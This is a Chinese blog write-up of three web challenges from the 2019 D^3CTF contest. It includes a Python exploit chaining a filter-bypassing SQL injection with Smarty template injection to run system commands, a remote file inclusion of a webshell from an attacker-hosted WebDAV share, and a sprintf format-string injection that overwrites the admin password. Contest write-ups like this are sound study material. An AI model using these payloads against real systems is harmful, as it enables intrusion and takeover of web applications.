wqpw_blog

= =

View on GitHub
25 November 2019

2019d3ctf 个人记录

by wqpw

这次比赛题目还是很有趣的,学到了/复习了不少东西。总共看了3个web题(easyweb, fakeonelinephp, showhub),结果easyweb非预期解搞出来了,但另外两个都卡在一半不会了…感觉比赛时间有点紧来不及学,还是平时修行不够。

easyweb

是一个代码审计的题,然而我一开始太激动整了半小时才发现题目给了源码,看入口文件知道是一个用CodeIgniter框架写的web应用。

然后黑盒结合白盒进行测试,首先是登录和注册,看代码都是用的框架的函数,都被细致的过滤过看不出注入。除了username和password之外,每个用户还设置了一个$this->userId = md5(uniqid());一起插到表里。

登录进去后首先显示profile页面,然后有用的只有upload和index页面。upload页面可以上传任意文件并会被保存到服务器/tmp/userId/下,暂时没有用处。index页面提示我们需要找到一个RCE漏洞。

<body class="article-page">
    Hi, , hope you have a good experience in this ctf game
    <br>
    you must get a RCE Bug in this challenge
</body>

首先考虑的就是模板注入,尝试注册一个用户名是{php}echo 1;{/php}的用户看看,结果发现了报错:

A PHP Error was encountered
Severity: Notice
Message: Undefined offset: 0
Filename: models/Render_model.php
Line Number: 22
......略
A PHP Error was encountered
Severity: Notice
Message: Trying to get property 'userView' of non-object
Filename: models/Render_model.php
Line Number: 22
......略
An uncaught Exception was encountered
Type: SmartyException
Message: Unable to load template 'data:,'
Filename: /var/www/html/application/third_party/smarty/libs/sysplugins/smarty_internal_template.php
Line Number: 195
......略

现在来分析下代码这里为什么会报错。

models/Render_model.php

<?php
class Render_model extends CI_Model
{
    public $username;
    public $userView;
    public function insert_view($username, $content){
        $this->username = $username;
        $this->userView = $content;
        $this->db->insert('userRender',$this);
        //这个函数在application\controllers\User.php中用户注册时调用
        //将每个用户与对应的view保存
    }
    public function get_view($userId){
        $res = $this->db->query("SELECT username FROM userTable WHERE userId='$userId'")->result();
        if($res){
            $username = $res[0]->username;
            $username = $this->sql_safe($username); //sql过滤
            $username = $this->safe_render($username); //然后防止模板注入
            $userView = $this->db->query("SELECT userView FROM userRender WHERE username='$username'")->result();
            //根据框架的代码,这里是直接执行sql,只用正则过滤了像'DELETE FROM TABLE'的  ( ゚∀。)
            //而且在双引号里面,username直接带进去了,等于是个二次注入
            $userView = $userView[0]->userView; //得到返回的userView
            return $userView;
        }else{
            return false;
        }
    }
    private function safe_render($username){
        $username = str_replace(array('{','}'),'',$username); //然后过滤了{,}防止模板注入
        return $username;
    }
    private function sql_safe($sql){
        //先用正则干掉了一堆关键字防止sql注入
        if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)/i',$sql)){
            return '';
        }else{
            return $sql;
        }
    }
}

可以看到get_view函数里面,先检测了sql关键字才替换{}为空,于是o{r, sele{ct, uni{on这样就绕过去了。不过()不能用,所以这里是个限制较大的二次注入,需要仔细思考怎样利用。

很快可以想到的是利用union注入可以控制返回的view,先记一下。

然后再来考虑下用户名是{php}echo 1;{/php}时为何会出错,这是因为被safe_render换成了phpecho 1;/php,然而并没有这个用户,所以也没有userView。接下来看这个userView还有data:,到底是啥。

//\application\controllers\User.php
<?php
class User extends CI_Controller
{
    private $renderPath;
    private $base_url;
    public function __construct() {
        //......
    }
    public function index() {
        if ($this->session->has_userdata('userId')) {
            //从刚说的有注入的函数得到view
            $userView = $this->Render_model->get_view($this->session->userId);
            $prouserView = 'data:,' . $userView;
            $this->username = array('username' => $this->getUsername($this->session->userId));
            $this->ci_smarty->assign('username', $this->username);
            $this->ci_smarty->display($prouserView);
            //username加进去,然后解析模板 data:,$userView
        } else {
            redirect('/user/login');
        }
    }
    public function register() {
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $username = $_POST['username']; //直接得到传过去的username
            $password = $_POST['password'];
            $init_content = file_get_contents($this->renderPath . 'index/koocola.tpl');
            $init_content = str_replace(array("\r\n", "\r", "\n", "\t"), "", $init_content);
            if ($this->User_model->insert_user($username, $password)) {
                //这里等于是每个用户都有一个对应username的view
                $this->Render_model->insert_view($username, $init_content);
                redirect('user/login');
            } else {
                redirect('user/login');
            }
        } else {
            redirect('user/login');
        }
    }
    public function logout() {
        //......
    }
    public function login() {
        //......
    }
    public function profile() {
        //......
    }
    private function getUsername($userId) {
        //......
    }
}

从而可以构造刚才的echo 1;用hex编码后利用sql注入绕过过滤,尝试模板注入。至于为啥是,完全是试出来的,过程就不提了。

//下面的payload,是拿到shell后才知道的
mysql> select hex('system("/readflag /flag");');
得到7B7B7068707D7D73797374656D28222F72656164666C6167202F666C616722293B7B7B2F7068707D7D

下面是一键getflag.py

# coding=utf-8
from requests import session
from random import sample, randint
import string

url1 = 'http://275ed6fa96.easyweb.d3ctf.io/user/register'
url2 = 'http://275ed6fa96.easyweb.d3ctf.io/user/login'
url3 = 'http://275ed6fa96.easyweb.d3ctf.io/user/index'

u = session()
payload = ''.join(sample(string.ascii_letters, randint(7, 16))) #可能有被注册的,再跑一下
payload += "' un{ion sel{ect 0x7B7B7068707D7D73797374656D28222F72656164666C6167202F666C616722293B7B7B2F7068707D7D#"

u.post(url1, data={"username":payload, "password":"test"})
u.post(url2, data={"username":payload, "password":"test"})
print u.get(url3).content
#d3ctf{Th4at's_A_Si11y_P0p_chi4n}

看到flag,便可以知道预期解应该是触发反序列化,然后要挖掘POP链,这里是出题人忘记禁用{php}标签了。

然后反序列化的做法,暂时不知道。

fakeonelinephp

只做了一半
打开是一行php代码:

 <?php ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

一看就想到了hitcon-ctf-2018的one-line-php-challenge,代码一模一样,然而不可能出原题。

当我在自己的vps上放了个txt文件内容是@<?php echo phpinfo(); ?>然后尝试远程文件包含时,出现了报错:

1

发现是Windows的服务器(WNMP),allow_url_include=0不能远程包含,突然想到:RFI 绕过 URL 包含限制 getshell

经过一段时间的研究后得知,只有Windows下的文件包含有这个问题这个题可以搞,但smb协议不能用因为445端口全被运营商封了…然后才查到还可以用webdav来搞。

WebDAV ,全称是Web-based Distributed Authoring and Versioning,维基百科上对它的解释是这样的:基于Web的分布式编写和版本控制(WebDAV)是超文本传输协议(HTTP)的扩展,有利于用户间协同编辑和管理存储在万维网服务器文档。

首先要搭建一个webdav服务:

#安装apache 启用模块
sudo apt-get install apache2
sudo a2enmod dav_fs
sudo a2enmod dav

#随便找个地方创建目录授权给apache
sudo mkdir /opt/webdav
sudo chown www-data:www-data /opt/webdav

然后修改apache的配置文件vim /etc/apache2/sites-enabled/000-default.conf

<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
<Directory /opt/WEBDAV/>
Options Indexes MultiViews
AllowOverride None
Require all granted
Order Allow,Deny
    Allow from all
</Directory>

Alias /WEBDAV /opt/WEBDAV

<Location /WEBDAV>
DAV On

    Order Allow,Deny
        Allow from all
<RequireAll>
        Require all granted
    </RequireAll>
</Location>
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

然后重启apache service apache2 restart ,访问?orange=\\你的ip\WEBDAV\qaq.txt

2

然后可以远程加载shell,用蚁剑连。在服务器上把.git目录打包弄回来,恢复版本可以得到hint和一个字典,说是要爆破内网一台机器,flag在那个服务器的Administrator的桌面上,于是我就不会了,来不及学。

showhub

题目意思是这是用一个自己写的框架开发的web应用,给了这个框架的代码让我们审计。

文件不多,主要看\Models\User.php\Models\Model.php

在User.php中可以知道密码都是sha256加密的,而且题目后来给了提示没有弱密码,让我们“更新”admin的密码来登录。所以主要看和数据库交互的地方,而且题目上的web应用只有一个我们可以控制的输入点,那就是注册的时候发送用户名和密码。密码会被加密,所以只能在username这里想办法注入。

首先在注册的时候调用了Model.php的save()函数,$user = (new User(null, $username, $password))->save();

//无关已略过
<?php
class Model
{
    private $db = null; //mysqli
    private $tbname = null;
    public function __construct() {
    }
    static private function prepareWhere($args) {
    }
    static private function prepareInsert($baseSql, $args) {
        $i = 0;
        if (!empty($args)) {
            foreach ($args as $column => $value) {
                $value = addslashes($value); //转义了
                if ($value !== null) {
                    if ($i !== count($args) - 1) {
                        //循环格式化生成sql语句
                        $baseSql = sprintf($baseSql, "`$column`,%s", "'$value',%s");
                    } else {
                        $baseSql = sprintf($baseSql, "`$column`", "'$value'");
                    }
                }
                $i++;
            }
        }
        return $baseSql;
    }
    static private function prepareUpdate($baseSql, $args) {
    }
    public static function findOne(array $args = array()) {
    }
    public function save() {
        $args = get_object_vars($this);
        $args = array_slice($args, 0, -2);
        if ($args['id'] !== null) {
            //......
        } else {
            $baseSql = "INSERT INTO `$this->tbname`(%s) VALUE(%s)";
            $sql = self::prepareInsert($baseSql, $args);
            $this->db->query($sql);
            //......
        }
    }
}

可以看到prepareInsert函数里有一行$baseSql = sprintf($baseSql, "$column,%s", "'$value',%s"); 然后想到了2019 DDCTF的签到题,里面有一个php格式化字符串的利用,又找了一篇文章PHP字符串格式化特点和漏洞利用点,开始研究这里能否利用。

首先根据Model.php写一个打印生成的sql语句的测试文件:

<?php
error_reporting(0);
function prepareInsert($baseSql, $args)
{
    $i = 0;
    if (!empty($args)) {
        foreach ($args as $column => $value) {
            $value = addslashes($value);
            if ($value !== null) {
                if ($i !== count($args) - 1) {
                    $baseSql = sprintf($baseSql, "`$column`,%s", "'$value',%s");
                } else {
                    $baseSql = sprintf($baseSql, "`$column`", "'$value'");
                }
            }
            $i++;
        }
    }
    return $baseSql;
}
function save($args)
{
    $args = array_slice($args, 0, -2);
    $tbname = "test";
    $baseSql = "INSERT INTO `$tbname`(%s) VALUE(%s)";
    $sql = prepareInsert($baseSql, $args);
    return $sql;
}
echo urldecode($_GET['username'])."<br/>";
echo save(["username"=>$_GET['username'], "password" => '233333', "a"=>"xbt", "?"=>"asdasd"])."<br/>";

结合文章提到的方法以及用burpsuite爆破,可以构造出逃逸掉’的payload:admin%1$'

3

然后尝试再insert一个admin进去

username=admin%1$',0x36316265353561386532663662346531373233333862646466313834643664626565323963393838353365306130343835656365653766323762396166306234)-- -&password=aaaa

发现失败。尝试修改admin之外用户,发现第一次成功,同样的用户名(payload百分号之前)第二次失败,猜测是不能插入相同的记录。然后百度mysql插入覆盖之类的关键字,学到了ON DUPLICATE KEY UPDATE

Mysql中INSERT … ON DUPLICATE KEY UPDATE的实践

修改payload为:

admin%1$',0x36316265353561386532663662346531373233333862646466313834643664626565323963393838353365306130343835656365653766323762396166306234) ON DUPLICATE KEY UPDATE id=md5(1)-- -
至于md5,是猜出来的

成功成为admin。

4

然后……ip要变成内网

5

离结束还有3小时,想遍了办法没搞定,结束。

tags: blog